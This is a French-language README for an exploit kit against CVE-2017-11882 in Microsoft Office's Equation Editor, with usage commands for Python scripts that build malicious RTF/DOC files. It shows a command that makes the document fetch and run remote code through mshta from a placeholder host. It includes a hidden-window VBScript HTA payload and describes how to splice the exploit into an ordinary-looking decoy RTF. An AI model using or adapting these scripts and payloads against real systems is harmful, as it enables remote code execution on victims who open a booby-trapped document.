
Exploit pour CVE-2017-11882 (Microsoft Office Equation Editor) avec des scripts Python pour générer des fichiers RTF/DOC malveillants et exécuter des commandes arbitraires ou du shellcode via mshta.
43b Le script original provient de https://github.com/embedi/CVE-2017-11882
109b Le script original provient de https://github.com/unamer/CVE-2017-11882/ (Un grand merci à unamer, maintenant son code peut exécuter du shellcode ~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
utiliser mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La commande 43b ne peut pas dépasser 43 octets, la commande 109b ne peut pas dépasser 109 octets.
Le dossier example contient un fichier .rtf qui exploite la vulnérabilité CVE-2017-11882 et exécute la calculatrice dans le système.
En réalité, la méthode pour personnaliser le contenu a été apprise auprès d'autres experts. Le script a été écrit il y a longtemps et je n'avais pas l'intention de le rendre public. Mais comme quelqu'un dans le groupe l'a déjà publié, je n'ai pas le choix. En fait, la méthode est très simple : il suffit d'ouvrir le fichier .rtf normal avec un éditeur de texte, de copier tout le contenu avant {\*\datastore, puis de remplacer le contenu avant {\object\objautlink\objupdate. Il est donc très facile de l'écrire dans un script.
Utilisation pour ajouter du contenu personnalisé, choisissez l'un des scripts :
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Le contenu personnalisé se trouve dans input.rtf.
Concernant le dernier script d'exploit de 605 octets d'unamer, je ne le mettrai pas à jour ; si ça vous intéresse, modifiez-le vous-même.